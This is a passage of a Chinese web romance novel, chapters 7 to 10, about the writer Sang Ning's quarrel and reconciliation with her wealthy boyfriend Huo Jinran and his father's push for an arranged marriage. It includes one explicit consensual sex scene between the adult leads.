趁着霍今然去阳台接电话的工夫，宋觉扬捂着胃，难受的脸都扭曲了：“我没得罪然哥吧。”
方斯舟将烟头碾灭在烟灰缸里：“装傻呢？”
“我没啊，我刚才不就是问然哥，他谈的那个小作家的事么。”
说到这儿，宋觉扬突然恍然大悟道：“不会吧，因为个女人，生我气了？”
宋觉扬依然不可置信道：“不是，怎么可能，就然哥那个工作狂，超不过三个月就分手，他有那么在意么。”
方斯舟没理他。
宋觉扬继续单口相声似的，啰嗦道：“笙哥当初说了，女人就像跑车，迟早会喜新厌旧，当初咱们几个不谁都没反对么。”
许是被吵醒了，陆寒笙从沙发角落里坐起了身：“关我屁事。”
他黑发黑T恤，冷感十足，锁骨间还隐约可见一条白金项链，丢过去那句话，他就拿起桌上一瓶水，拧开盖子，仰头全喝光了。
等陆寒笙喝完水，方斯舟问他：“你昨晚没睡？”
“嗯。”
“三P？”
陆寒笙睨了一眼方斯舟：“滚，哥有那么混么？”
“你对自己的认知，还不够到位啊。”方斯舟笑着调侃了一句。
陆寒笙突然转头，望向了宋觉扬：“傻逼。”
宋觉扬：“……”
宋觉扬：“？”
7. 7
澜轩会所。
包间内。
桑柠拿着一瓶啤酒，正窝在沙发里，玩着手机。
跟其他朋友聊完天的连歆语，凑过来，问她：“我听陆佑安说上次大半夜在酒店撞见你了，正跟霍今然吵架呢，因为什么呀，大半夜的还吵架？”
桑柠将手机放到一边，没所谓道：“没什么，一场误会而已，我们已经和好如初了。”
“你呀，可别受他的委屈，不行我们就换一个。”就算之前顺走了霍今然的一个包，连歆语却依然向着好姐妹道，“我跟你说，男人就像项链，永远都有下一个更喜欢的。”
“不要，我就要这个。”
连歆语抿了下嘴，刚想要说什么，桌上的手机响起了微信视频的邀请声，她拿起，看是一个好姐妹打过来的，就直接接通了视频。
“歆语，你猜我看到谁了？”
连歆语举着手机：“谁呀，这么兴奋？”
“桑柠的男朋友霍今然。”那个好姐妹继续道，“正在御都会所呢。”
听见霍今然的名字，桑柠探身，出现在了镜头里：“他应该是去那里工作吧。”
“不知道，我这边阳台反正能看到你男朋友，就在隔壁呢。”
“诶，你把镜头转过去。”连歆语提议道。
视频那边的好姐妹迟疑道：“这样不好吧，像偷拍了。”
“没事，拍我男朋友怎么就偷拍了，我准你拍。”桑柠也很想看一下霍今然。
那个好姐妹点点头：“好吧，只能看一会儿哦。”
镜头转了过去。
昏暗的阳台上，霍今然双肘撑在栏杆上，他身上白衬衫的扣子解了两三颗，迷离的夜里多少有些性感，他指尖夹着烟，正望着外面京城的夜色。
很快，镜头外响起一个陌生的男声：“喂，动心了？”
霍今然没什么反应，涟漪暗光里，他冷俊的侧脸比之明星还要上镜，只一眼，就能让人心动。
陌生男声继续响起：“对那个小作家。”
是在聊她么。
这一个念头冒出，桑柠不禁屏了下呼吸，许是过于期待那边人的回答，她始终探着身子，目光一瞬不瞬的盯着视频里的霍今然。
紧张的样子，仿佛高三那年去看成绩出来一样，既害怕，又期待。
但遗憾的是。
她的期望却扑了个空。
视频里，霍今然像是没听到似的，还俯身趴在那里，望着远处的夜色，他将烟送到嘴里，清淡的白烟弥漫了他的侧脸。
冷淡无谓。
那阵子的沉默，他什么都没说，却又好似什么都说了。
他可能真的心动了。
但却没想象中那么喜欢她。
至少满分十分的话，他的喜欢可能连五分都不及。
手指不自觉收紧，桑柠紧攥着手里的啤酒瓶，她垂下眼眸，没再看下去，也不期待霍今然的回答了。
有些时机错过，之后的答案是什么都无所谓了。
旁边的连歆语察觉到气氛不对，她几乎秒速挂断了视频通话：“不看了，我们继续聊别的。”
桑柠没应话，她微仰头，慢吞吞的喝着手里的啤酒。
半瓶啤酒下肚，觉得有些闷，桑柠起身：“我去趟洗手间。”
连歆语跟着她起身：“我陪你。”
“不用，你跟她们玩吧，我想自己待会儿。”
说着话，桑柠转身朝外面走去时，没注意脚下的路，膝盖不小心磕到了桌角。
白皙的膝盖一下子泛起了青紫，应该是痛的，可那一瞬，桑柠只觉心里紧蹙的疼痛了起来。
她紧咬着唇瓣，努力没让自己哭出来。
另一边。
御都会所。
某间包间的阳台上。
霍今然望着远处漆黑的夜，忽得想起桑柠好看的眉眼，尤其那双眼。
那双眼睛纯如月光，白净不透底，望的久了，人会不自知的跌入她黑漆漆的眼眸里。
忘乎所以。
就像那天，在某个合作伙伴的女儿生日会上，因为年纪相近，霍今然被拉过去，凑数玩起了真心话大冒险的游戏。
轮到桑柠时，她突然盯着他，问他：“你想不想试试跟我谈恋爱？”
她说话的样子，一脸的纯真无辜，人倒是胆子很大，跟他以往遇到的那些女生完全的不一样。
霍今然鬼使神差的答应了下来。
沉默须臾，霍今然抬捷，望向了倚在门口的陆寒笙：“也许吧，有她在身边，周围的空气好像都跟着鲜活了起来。”
陆寒笙抽着烟，低哼了一声，没再说什么。
对面的工作狂，好像到现在都还没意识到，他对那个小作家的占有欲有多强。
就让他自个慢慢悟去吧。
“我上次让你帮我找的人，怎么样了？”转瞬，霍今然就把话题转到了工作上。
陆寒笙吐了口烟气：“人是找到了，但是他不肯再出山。”
“理由。”
“他太太去年癌症去世，还没走出来。”
霍今然垂下了眼眸，没再说什么，只是安静的抽着烟。
“你真的要组建自己的团队，跟你家老爷子对着干？”半晌，陆寒笙冷不丁问道。
霍今然长指微弹，将燃尽的烟灰弹进了烟灰缸里：“总不能一直让老爷子拿捏我。”
陆寒笙将烟送到嘴里，没再说话。
霍今然口袋里的手机突然响起了来电铃声，他掏出来看了一眼，是桑柠。
摁了接听键，那边桑柠问他：“你在哪里？”
霍今然散漫的倚着栏杆：“御都会所。”
“去见你朋友？”
不知是不是错觉，对面桑柠的声音有些萎靡，可能是误会他专门来见他朋友，所以才推掉了跟她的约会。
他哑声回她：“不是，来这里谈事，不过刚好遇到了朋友。”
电话那端突然没了动静，不过须臾，桑柠又问他：“我能过去找你吗，还没见过你朋友呢。”
霍今然眼睫微颤，没说话。
那瞬间，他的脑海里忽然冒出，刚才宋觉扬提起桑柠的那些话，有些猥琐。
并不想在这个时候，让桑柠跟宋觉扬碰面。
澜轩会所的走廊里，桑柠还握着手机，那边霍今然却没了动静声。
他好像突然沉默了下去。
像极了刚才视频里，有人问他对她动心没，他突然沉默下去一样。
可能是不想让她过去，在找借口搪塞她。
果然。
很快，桑柠就听见电话那端的霍今然跟她讲：“不方便，改天吧。”
“可是我想去。”桑柠盯着窗外的夜景，执拗道，“我要现在就见你朋友。”
她心里憋着一股气，就要跟他对着干。
好像只有这样，才能试探出他究竟有多喜欢她。
只是。
她又赌输了。
“下次有时间，再说。”霍今然平淡的讲完这句话，他就挂断了电话。
似是不可违抗的命令。
也似是对她并没有那么在意。
电话那端传来一阵忙音，桑柠怔愣在那里，她紧握着手机，太过于用力，连指尖都开始泛白，却还是忍不住鼻酸，红了眼眶。
她还站在落地窗前，透过明净的玻璃，望着外面霓虹灯闪烁的不夜城。
耳边忽然响起一阵对话声，听着像是一对情侣。
女生说：“你刚才在我朋友面前，那么大声说喜
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欢我，不害臊啊。”
“不啊，喜欢就要大声说出来，我恨不得告诉全世界呢。”男生大大咧咧的回道。
……
忽地。
桑柠突然想起，那天在泳池边，她大声的告白：“桑柠喜欢霍今然！”
没有半点迟疑。
发自内心的热烈，赤诚。
她对霍今然的喜欢，满十分都不够，都要十二分，却不及霍今然的那五分。
到头来，难过的只有她一个人。
补完妆，回到包间，桑柠又窝到了沙发里。
瞧她坐了回来，连歆语凑近，瞅了瞅她的脸：“没把眼睛哭肿吧？”
桑柠伸手，撇开了连歆语的脸：“别闹了。”
她转而伸手要去拿桌上的啤酒时，连歆语紧忙拦住了她：“你这是第几瓶？”
“管它第几瓶，你让我喝。”
“不行，就你那酒量，三瓶就倒，喝醉酒了，闹腾个没完，我今晚可没时间陪你一晚上。”连歆语死死的护住了那瓶啤酒。
将那瓶啤酒拿远，连歆语给桑柠换了瓶气泡水：“喝这个，你要是还是不痛快，我们就出去聊聊天。”
“不要。”桑柠接过气泡水，仰头咕咚咕咚的喝了大半瓶。
喝完，她转头跟连歆语说：“上次那个杂志拍摄，我还能拍么？”
“你想拍么？”
“嗯，想。”桑柠捏着手里的气泡水，没所谓道，“我还要穿比基尼。”
多年姐妹，连歆语一下子就懂桑柠为什么这样做了，霍今然不让她穿比基尼，她偏要穿。
她在跟他赌气。
“行，姐妹挺你到底，拍摄时间等我通知。”连歆语说道，“等下回去洗个澡，好好睡一觉，什么都别想，别为一个男人要死要活的，没劲。”
她认识的桑柠，可是个从小就爱笑的姑娘，又漂亮，又优秀，满分一百都不够打，恨不得打一千分。
天杀的霍今然，才认识没多久，就一直惹她好姐妹伤心。
不懂得珍惜，以后有他后悔的。
七月中旬，桑柠收到连歆语的通知，已经确定了杂志拍摄地，在南方临海的一个小城，宣清市。
桑柠提前两天赶了过去，休了个短暂的假期。
很快，连歆语就跟杂志社的工作人员一同赶了过来。
杂志硬照拍摄那天，艳阳高照，临海的一处装修豪华复古的别墅里，桑柠顺利完成其他拍摄。
最后一组就是那套镶满水钻的比基尼。
桑柠的身材极好，要什么有什么，那腰身更是如柳条般纤细，穿上那套比基尼，出来时，在场的人都禁不住惊呼了下：“简直神女下凡。”
“来，我们拍摄。”摄影师唤了一声，“道具组，准备上薄纱。”
几个工作人员抱着一大捧薄纱走了过去。
桑柠站在一个古色古香的书柜前，薄纱覆下，轻轻浮动，她站在薄纱下，银白色比基尼上镶满了水钻，她额间的发际线那里也坠着一条水晶挂饰，日光从屋顶的落地窗透进来，落在她身上，明眸皓齿，身材曲线玲珑。
像水面绽开的白莲般清透，妩媚。
站在一边的连歆语忍不住用手机拍了一小段视频。
等桑柠拍完，连歆语将视频发给了她：“姐妹，你可太美了。”
桑柠点开视频看了下：“我现在能发给别人吗？”
“发给霍今然可以，反正他是绝对不会透漏出去的。”连歆语忍不住笑了下。
就霍今然那个占有欲，看到这个视频八成得疯。
桑柠脸上却没什么表情，她指尖轻触屏幕，将视频转发给了霍今然。
而后，她又轻点屏幕，几下操作。
直接拉黑了霍今然。
8. 8
半夜，京城。
金缦丽酒店顶层的总统套房内。
霍今然从浴室里走了出来，他径直走到桌边，拿起那部私人手机，想查看一下新消息，却发现手机不知何时电量耗尽自动关机了。
他拿过一旁的充电线，插入手机里。
蓄了半分钟的电量，手机才终于能开机。
网络一恢复，霍今然就看到了屏幕上的新消息，是桑柠发过来的。
跟他赌气了好几天，她终于消气肯理他了。
半湿的深栗色短发下的那张脸，染上淡笑，他解锁，进入微信。
桑柠什么都没说，只给他发来一段视频，从封面就能看到她身上那套火辣的比基尼。
霍今然低垂的眼眸里笑意尽散，他长指轻触屏幕，播放了视频。
那段视频不过数秒，但桑柠从骨子里透出的妖娆妩媚，仿佛能透出屏幕。
一颦一笑，风情万种。
她身材亦是极好，前凸后翘，薄纱里，镶着钻石的比基尼似有若无的裹在她身上，白皙的胸脯饱满高耸，呼之欲出，胸前春光无限，搅的人心里花枝乱颤。
最后几秒，她一个转身，后背裸了大片，只有一根细细的水钻吊带，腰臀曲线完美，紧致而翘。
视频快要结束时，画外音冒出个男人的声音，压着嗓音道来一句：“卧槽，这谁能顶得住。”
霍今然的脸色越发阴沉起来。
他指尖轻敲了几下屏幕，打出几个字：故意气我？
冷着脸点击了发送，却赫然发现，桑柠将他拉黑了。
“……”
霍今然将手机放到一边，他随手拿起桌上的一盒烟，抽出一根，咬在了嘴边。
拿着打火机，踱步到落地窗前，他望着外面霓虹灯闪烁的夜色，点燃了烟。
他猛吸了一口，吐出烟气，身体里的燥热却还未褪去。
脑海里不停闪现刚才视频里桑柠的样子。
只是很快想起那个男人的话，霍今然脸色微愠，像是笼上一层黑压压的雾霾。
他转身，将还未抽完的那半支烟，狠狠地碾灭在了烟灰缸里。
还以为桑柠会跟他赌气几天，消气也就算了，毕竟也不是什么大事，只是那天不想带她见朋友而已。
但霍今然却低估了这次桑柠跟他冷战的决心，不仅微信拉黑他，还不接他的电话。
直到第三天时，霍今然意外收到了桑柠发来的两条信息：我那期杂志出来，你记得帮我寄给霍今然一本。
桑柠：明天傍晚我就回京城了，给你带了礼物，等我回去就给你送过去。
那时已经傍晚，落地窗外，阴云密布，像是憋了一场大雨。
诺大的总裁办公室里，霍今然坐在办公椅上，他单肘撑桌，长指抵着下巴，另一只手掌心松散的托着手机。
他低垂着眼睫，望着手机屏幕，神色散漫。
不到两分钟，许是那边的桑柠意识到发错人了，她很快又嗖嗖的撤回了那两条信息。
霍今然微勾了下唇角，准备将手机放到一边。
这时，突然一通电话打了进来，屏幕上的来电显示是霍老爷子。
霍今然指尖轻触屏幕，接通了电话：“父亲找我有事？”
“嗯，周六抽空回来一趟，有事要跟你商量。”留下这句话，那端的父亲霍冠良就直接挂断了电话。
老爷子一如既往的我行我素。
霍今然低垂着眼眸，将手机搁到桌上，他叫来了唐志诚。
唐志诚一进来，就问他：“霍总，您找我有事？”
“这周六晚上我要回家一趟，要是有什么事，你看着安排。”霍今然吩咐了一句。
听霍今然这样说，唐志诚不免有些担心道：“霍少回家的话，记得让高虎陪着您。”
霍今然微抬眼皮：“不用。”
“还是谨慎些为好。”
唐志诚也并非杞人忧天，当初霍家新一任掌权人厮杀最为激烈时，霍今然突然被派到国外工作，也是那次乘坐霍家的私人飞机时，差点出事搭上性命。
到现在想起那件事，唐志诚都还心有余悸。
也是那件事之后，原本对霍家掌权人不感兴趣的霍今然，突然转了性子似的，杀伐果断，以雷厉风行的手段铲除身边异己，顺利登上了如今掌权人的位置。
可唐志诚也记得，霍今然的母亲霍二夫人离开时，留给他的遗言只一句，离开霍家。
与霍二夫人相依为命那么多年，孝顺的霍今然自然会听从母亲的遗愿。
但事与愿违，即便霍今然主动远离纷争，可霍家那帮人却依然不肯放过他，誓要斩草除根。
如今霍今然虽然对外已是霍家说一不二的话事人，可霍家大权却依然还掌握在霍老爷子手上，位置还没坐稳，自然不能掉以轻心。
霍今然睨了一眼满脸担忧的唐志诚：“行了，到时让高虎跟着我就是了。”
唐志诚松了一口气：“那霍总没其他事，我先出去了。”
“嗯。”霍今然低应了一声。
他拿起手边的文件，开始翻阅了起来。
宣清市，酒店外面的泳池边。
桑柠盘腿坐在遮阳伞底下，她脸上还敷着面膜，盯着手机怔愣了好一会儿。
她刚才敷着面膜，拿起手机，还以为拉黑霍今然后，置顶的聊天对话框就是连歆语。
于是就眯腾着眼发过去两条信息，察觉到连歆语的头像不对时，桑柠才意识到她发错人了。
原来拉入黑名单，对话框不会消失。
还好她反应快，又紧忙撤回了那两条信息。
桑柠捧着手机，轻舒了一口气，猜想霍今然那么忙，应该没看到她发过去的信息。
她捧着手机，点开连歆语的聊天对话框，噼里啪啦的打出几个字：我完了。
连歆语：？
桑柠：我刚才给你发信息，不小心发给霍今然了，可我现在还在跟他冷战呢。
桑柠：他要是看到的话，会不会误以为我在主动跟他求和呀。
连歆语：想多了。
连歆语：他忙得估计巴不得跟你冷战呢。
“……”
你可真是我的好姐妹。
连歆语：你什么时候回来？
桑柠：明天傍晚。
桑柠：我之后还想去国外度假，所以刚才是想跟你说，如果杂志出来，你记得帮我寄给霍今然一本。
连歆语：知道了，不聊了，我得去忙了，等你回来见。
桑柠：OK。
将手机扔到一边，桑柠重新躺回软椅上，继续敷起了面膜。
次日，她乘坐下午的航班，飞回了京城。
飞机落地时，半空突然飘起了小雨，还以为雨下不大，可等桑柠取完行李，走到机场门口时，外面却已是瓢泼的大雨了。
豆大的雨滴噼里啪啦的砸了下来，哗哗的下个不停，雨势太大，即便打了伞，路上的行人身上也是湿透了。
机场门口也堵了很多旅客。
“喂，老公，我这边下大雨了，还在机场，得晚一些回去了，你先跟儿子吃饭吧。”
“妈，我暂时回不去了了，雨太大了，等雨小一些，我再回去，您别担心。”
“宝宝，在家乖乖等我，雨太大，我可能要晚一些回去了。”
……
旁边的旅客都在
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跟亲近的人打电话，报平安。
桑柠掏出手机，她闷着头，点开通讯录，指尖贴着屏幕，上下滑动着，她也想找个人聊一下。
可她不知道该打给谁。
十六岁就独自过来京城这边上学，这些年父母也很少管她，这种天气，给父母打电话，也只会让父母说她一句矫情。
还是算了吧。
桑柠的指尖继续往下滑动着屏幕，慢慢略过了通讯录里连歆语和陆佑安的电话号码，两个人估计都在忙呢。
还是不打扰了。
直到看到霍今然的号码，桑柠的指尖攸地停了下来。
从前面一个个的略过，其实她心里面最想打电话的人是霍今然。
在这样空旷寂寥的大雨夜，被困在机场，她真的很想念他。
可一想到，他那天晚上的沉默，桑柠的心里还是有些不好受，他的迟疑，也多少令她不敢对他抱有太多期待。
对他打从心底生出的依赖也自然变得畏畏缩缩。
到最后，桑柠到底还是默不吭声的将手机又放回了包包里。
外面的雨越下越大了。
瞧着暂时离不开，桑柠也没站在门口了，她转身，朝着机场大厅的一家咖啡馆走了过去。
大雨漫城，机场大厅里围困了很多人，咖啡馆里也几乎坐满了人。
等了十来分钟，桑柠才终于看到一个空位，她端着一杯咖啡落座了下来。
旁边人群熙攘，几乎覆盖了外面倾盆而落的雨声。
许是觉得有些无聊，桑柠拍下一张咖啡杯的照片，分享到了她的大号微博。
——大雨天，困在机场了。[可怜.jpg][可怜.jpg]
桑柠现在也算是拥有百万粉丝的人气网文作者了，那条微博一发出去，就有很多读者跑出来跟她互动。
不到几分钟，评论就已经过百了。
桑柠单手端着咖啡杯，小口抿着咖啡，另一只手托着手机，指尖滑动着屏幕，饶有兴趣的看着那些评论。
半杯咖啡喝完，桑柠将咖啡杯放到桌上，她抬眼，朝落地窗那边望了过去，想看一下外面的雨势。
余光里，忽地瞥见一个熟悉的身影，桑柠不禁转过视线，望了过去。
白光通亮的咖啡馆里，霍今然正朝着她这边走来，他单手抄兜，神色淡凉，整个人的气质亦像是远山的青雪，冷冽，孤傲。
一路走过来，吸引了很多小女生频频朝他望去，他的视线却从进来就一直旁若无人的笼着桑柠的身影。
桑柠睨了他一眼，便垂下了眼眸，看起来还在跟他赌气，心里却又惊又喜。
转瞬，她心里又止不住的冒出一股酸意。
要是对她没那么动心，便不会那么在意她，那他干嘛还要大雨天专门跑过来，是在故意吊着她么。
前面的位置突然空了下来，不过很快，霍今然就落座了下来。
桑柠不抬眼看他，也不理他。
周边的人依然吵吵闹闹，偶尔还能听见外面仓促落下的大雨声。
霍今然微抬眼皮，望了一眼对面垂着长长眼睫的桑柠，她嘟噜着个小脸，看起来不大高兴的样子。
咖啡馆清亮的白光里，她脸颊的婴儿肥还有些鼓鼓的，生气的样子都像是在撒娇。
霍今然的眉眼里染了淡笑，瞧着桑柠旁边的位置也空了下来，他起身，走过去坐到了她旁边。
几乎紧挨着她，而后他轻轻撞了一下她的肩膀。
桑柠的身体跟着晃动了下，心思也跟着有些迷乱，她却依旧不理他。
很快，就听旁边的霍今然语气漫不经心的丢过来一句：“我女朋友丢了，请问你有看到她吗？”
9. [锁] [此章节已锁]
伴着外面的大雨声，机场的咖啡馆依旧很吵闹。
但在那一瞬，桑柠的耳边，却仿佛只听得见霍今然的那句话。
她心里已开始慢慢的松懈。
嘴上却还是没饶过他，还是口是心非道：“丢了就丢了，反正你都没对她动心。”
霍今然单手搭在桌边，他侧眸，望向桑柠：“嗯，所以气我这么久，就是因为这些没有事实根据的猜测？”
桑柠微垂着侧脸：“不是猜测，我亲眼看到的。”
她眼底泛起温热，也不知哪儿来的委屈，当时一下子沉默下去的人是他，可他竟然一点都不在意。
好像只有她一个人难过。
霍今然看她不说话了，他伸手，长指撩起她的下巴，强制她望了过来。
这一望，他看到她眼眶已经泛了红。
桑柠扁着嘴：“我就是看到了。”
“看到什么，嗯？”霍今然的视线始终笼着她。
“你朋友问你，对我动心没，你没说话，不吭声，不就是代表没有么。”说出来这句话，桑柠还是觉得心里委屈极了。
在那之前，看到凌晨还睡不着的霍今然时，她还主动过去拥抱他，安慰他。
现在想想都觉得犯贱。
听完桑柠的话，霍今然回想了下，那天晚上在御都会所，陆寒笙确实问过，他是不是对她动心了。
他没及时回答，可沉默的那些工夫里，他想的却都是她。
“所以。”霍今然微挑眉，哑着声音问道，“只看到了这些？”
桑柠推开他的手：“这还不够么，再看下去，只会自取其辱。”
“嗯，行。”
看他态度这么模棱两可，桑柠跟他赌气道：“不过没事，早一些知道你的心意，我也不用再陪你演下去了，干脆分手吧，我也不耽误你另找一个能让你心动的女生。”
“喜欢上别的男人了？”
“我没有。”桑柠不假思索道。
霍今然的眼尾噙着淡笑：“行，那就是还喜欢我。”
“……”
桑柠别过了脸，不想再理他了。
霍今然伸手，长指又强势的让她转过了头，对着他这边：“看着我，还没讲完呢。”
桑柠抬眸，对上了霍今然清凉的视线。
他开口，音色低凉：“那天突然有朋友问我动心没，我没及时回答，是因为那个时候我正在想你。”
桑柠眼睫微颤，心思像是水面上晃动的月光，涟漪不断。
霍今然望进她黝黑的眸子里：“想到的是我们初次见面，你问我想不想跟你试试谈恋爱，我看着你的眼睛，不由自主的就答应了下来，难道这还不算动心了么。”
听完霍今然的解释，刚才心里泛起的涟漪，一点点的翻涌过来，覆盖了之前的那些难过，与委屈。
桑柠拨开霍今然的手，她垂下眼睫，不自禁的弯起了唇角。
瞧着她笑了，看来是哄好了，霍今然便跟她清算起了其他事：“行了，我这边说清楚了，该你了。”
桑柠偏头，不解的问道：“我怎么了，你感觉不到我有多喜欢你吗？”
“喜欢还故意气我，嗯？”
想起比基尼那件事，桑柠有些心虚的避开了霍今然的视线。
“还拉黑了我。”
“……”
桑柠咬着唇，小脑袋低垂着，心虚的不知道该说什么了。
霍今然伸手，揽住她的腰身，将她贴近他：“故意穿的比基尼？”
桑柠还低垂着脑袋，不看他，只低嗯了一声。
“还上了杂志？”
“嗯。”
“还专门让朋友到时寄给我一本？”
“……”
霍今然将她揽的更紧了些，他清凉的气息也似有若无的摩挲在她耳边：“等下回去再收拾你。”
桑柠眼睫微颤，忽地想起什么，她转头，突然又底气十足道：“可你那天也确实不想带我去见你朋友。”
霍今然低垂着眼眸，眼底似是裹着一层清凉的月色：“终于反应过来了，我还以为你因为这种小事拉黑我呢。”
“这是小事吗？”
话落，对面的人不说话了，只是盯着她，盯得她心里发慌。
桑柠伸手，用指尖戳了下霍今然的脸颊：“我可不听你现编的理由。”
霍今然顺势抓住了她的手，放到了他左胸口处，离他心脏最近的地方：“我不会骗你，只是我不知道那个理由，该怎么说出口。”
“没事，只要不是骗我的，什么理由我都能接受。”
霍今然微点头：“有个朋友向来口无遮拦，在我面前开你身材的玩笑。”
桑柠清秀的眉心微蹙：“这是你朋友？”
“他那天受惩罚了。”霍今然冷然丢过去一句话。
桑柠的眉心舒展：“这还差不多。”
她从他掌心里抽出手，主动贴过去，抱住了他的腰：“所以那天不让我过去，是为了让我避开你那
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个朋友么。”
“可惜有人不懂我的心意。”霍今然唇边勾起一抹玩味的笑意，宠溺道，“小没良心的。”
“……”桑柠认了他的调侃。
霍今然牵起了她的手：“走了，回家。”
桑柠微抬眼：“外面还下着大雨呢。”
霍今然望进她那双清澈的眸子里：“嗯，正好开到半路，丢你下去，长长记性。”
“……”
外面的雨势依然倾盆而落。
车行驶到半路，桑柠没被丢下车，却被霍今然摁在怀里，用另一种方式惩罚了她一下。
他伸进她裙子里，长指不安分的挑拨，搅动，桑柠窝在他怀里颤栗不止。
窗外大雨磅礴，可车窗还是能隔绝大半的雨声，怕司机听到，她咬着嘴唇，不敢发出声。
只有从喉咙里发出来的微弱的娇喘声。
前面红绿灯车停了下来，车里似是更安静了些。
不一会儿，从前面传来司机的声音：“霍少，前面路在维修，暂时没办法开到桑小姐住的万福路上。”
司机的话落下去之后，车子里也跟着又安静了下去，只能听见窗外扑簌簌的雨声。
桑柠不敢发出声，底下，依然骚动不止。
霍今然甚至变本加厉。
稀薄的雨声中，混着那些羞耻的骚乱声，桑柠因为忍耐，几乎紧绷着身子，不敢发出任何动静声。
霍今然的唇边漫上笑意，他开口，终于回了司机一句：“回酒店。”
前面绿灯亮起，车子再次启动，朝着金缦丽酒店的方向驶去。
窗外的大雨依然下个不停。
车后排。
隐秘的角落被侵入，沾染了汁液的花蕊，也被反复揉搓。
桑柠受不住，她咬唇忍耐着，直到那阵凶猛的潮涌覆盖而过，她才微微喘气。
霍今然另一只手捏着她的下巴，令她抬起了头。
那双乌黑的眸子染了水汽，在雨夜涟漪的暗光里，越发勾的人心痒痒。
他长指又开始不安分起来。
一阵揉搓，尖尖的小核瓣又被突然捏起。
似是一阵阵潮涌袭来，比之刚才的都还要来势汹汹，桑柠终于承受不住。
在将要喊出声时，霍今然的吻又落下，疯狂掠夺她嘴里残余的空气。
她差一点就招架不住。
那天夜里，她也是被霍今然狠狠折腾了好几次，这次穿比基尼故意气他这件事，才终于了清。
10. 10
桑柠夜里醒来时，外面已经雨停了。
也不知几点了，只瞧着窗外一片漆黑，她在黑暗里朝旁边摸了下，不出所料，霍今然果然没在床上。
桑柠起身，摸到手机，看了一眼时间，还不到凌晨五点。
她将手机随手搁到一边，套上吊带睡裙，下床，走过去，朝阳台看了一眼，霍今然没在。
转身走出卧室，瞧着客厅那里有微弱的光亮，桑柠光脚走了过去。
客厅的沙发旁，一盏地灯亮着，暖黄的光亮里，霍今然裸着上半身，只穿着蓝黑条纹的睡裤，他正坐在沙发上，看手里的文件，半垂的侧脸俊秀，冷清。
窗外还黑着，雨停过后，周边寂静无声。
桑柠捏着裙摆，走近霍今然，她蹲到地上，像只小猫一样往他怀里钻。
霍今然嘴边噙着淡笑，低垂着眼眸，任她折腾。
“跑过来捣什么乱，嗯？”
桑柠跪坐在地毯上，双肘支着方桌，只露着个小脑袋趴在桌边：“想看看你有没有干坏事。”
霍今然视线轻睨过她锁骨间大片泛红的吻痕：“坏事不都跟你做尽了。”
桑柠双手捏着脸颊，边做了个小鬼脸，边转过了头，她对着霍今然吐了下舌头：“略。”
霍今然被她这一下逗笑了，心底好像有羽毛轻轻擦过，在那瞬间，因失眠而带来的疲惫，烦躁，也跟着一扫而空。
桑柠夺过他手里的文件，放到桌上，她起身，坐到了他身上，搂着他肩膀：“那你是一晚上都没睡么？”
隔着薄透的丝绸睡裙，霍今然的指腹轻轻摩挲着她的背脊：“没，跟你做完太累，有睡了一觉。”
“那这么说，要不是跟我搞累了，你是一晚上都不会睡么？”
话落，对面的霍今然没说话了，像是在默认。
默认他夜里睡不着，可能还会失眠一整晚，只能靠工作熬过一夜，等天亮。
桑柠很少失眠，但偶尔赶稿时，写不出来东西，会一整晚都睡不着，也算是尝过失眠的滋味，并不好受。
漫长的夜拖拖拉拉的，像是熬了一个世纪般，熬得整个人都有些心绪烦躁。
桑柠透过昏黄的光亮望过去，看到沉默不语的霍今然，神色清淡，像是蒙上了一层灰扑扑的忧伤，她心里骤然泛起了微妙的褶皱。
她有些心疼他。
“我要是能把我的瞌睡虫，分你一半就好了。”桑柠紧搂着霍今然的肩膀，像个小女生天真的说道。
觉得桑柠的那句话很有意思，霍今然不禁勾唇笑了下：“分我一半瞌睡虫？”
“嗯，我睡眠还是不错的，很少失眠睡不着。”
凌晨的窗外静谧无声，落过雨的京城似是还在沉睡当中，那一瞬，霍今然竟一时错觉，仿佛整个世界，只剩下他跟桑柠两个人。
天地苍茫，他却感觉不到半点的孤独落寞。
透过落地灯的光亮，霍今然望着桑柠，他眼眸里还映着涟漪的暗光：“什么都不用分给我，有你在身边，就是最好的良药。”
至少在彼此相拥的时间里，已足够让他暂时逃脱俗世，与她共沉沦，与她共眠。
几天的时间一晃而过。
周六傍晚，霍今然回了趟霍家，位于京城郊区的一栋庄园里。
霍氏家族庞大，霍老爷子之前先后娶了两任太太，霍今然的母亲是最后一任。
当年二十五岁的母亲嫁过去时，霍冠良已经年过五十，老夫少妻引来不少的闲话。
霍母虽也是富家女，但嫁人时家道已中落，比起前任霍太太富贵的名门出身，到底也是平凡了些。
因此霍母生前没少在霍家受气。
霍母因病离世后，霍今然也就很少再回家了，他长年在外工作，跟那些所谓的兄弟姐妹连表面工夫也懒得维系了。
踏进别墅，有佣人过来招呼：“小少爷，您回来了？”
“嗯，父亲在哪里？”
“老爷在二楼的书房呢。”
霍今然微点了下头，抬脚朝着二楼的书房走去。
到门口时，霍今然偏头跟高虎说了声：“你在这里等我。”
“好的，霍少。”高虎点头应了下来。
霍今然敲了敲门，听见霍冠良一声进来后，他推门而入。
见他进来，霍冠良将手里的报纸放到了一边：“坐。”
霍今然走过去，坐到了霍冠良的对面：“父亲有什么事找我？”
霍冠良拉开一旁的抽屉，取出一张照片，放到了霍今然的面前：“褚家的独生女褚晚柠，你还有印象么？”
霍今然低垂眉眼，瞥了一眼照片，却也没仔细看照片上的女生，他眼眸就微抬起，望向了霍冠良：“父亲有话不妨直说。”
霍冠良朝椅背上靠了下，终于开门见山道：“你也到了谈婚论嫁的年纪，找外面的女生，不如找个门当户对的，褚家的这个女儿很适合你。”
“是适合我，还是这场联姻对霍氏集团更有利？”霍今然眉眼淡凉的问了一句。
霍冠良不紧不慢道：“你最近跟沈氏集团的合作不顺利，是因为有我们这边的对家正在拉拢沈氏，这些事你应该比我更清楚，一旦他们联合成功，对我们霍氏集团未来的发展会生出很多阻碍，防患于未然，以褚家现在的实力，一旦联姻成功，你后面的合作也会顺利很多。”
“劳烦父亲操心了，我不需要。”霍今然没所谓道。
霍冠良手指点在照片上，顺着桌子又朝前推了下：“既然你知道这场联姻对集团有利，没道理拒绝。”
那张照片都快杵他面前了，霍今然却依然没兴趣多看一眼：“我有女朋友了。”
霍冠良身子朝后倚了下，他端起桌边的茶杯，抿了一小口，又将茶放回了桌上：“可以分手，也可以继续交往，都不耽误你这场联姻。”
这话轻巧的，仿佛老爷子刚才抿的那一口茶水，咽了便咽了，没任何感情。
话到这份上，再聊下去，也没任何意义。
霍今然起身，他单手扣上西装的扣子：“父亲既然将集团交给我了，就应该信任我。”
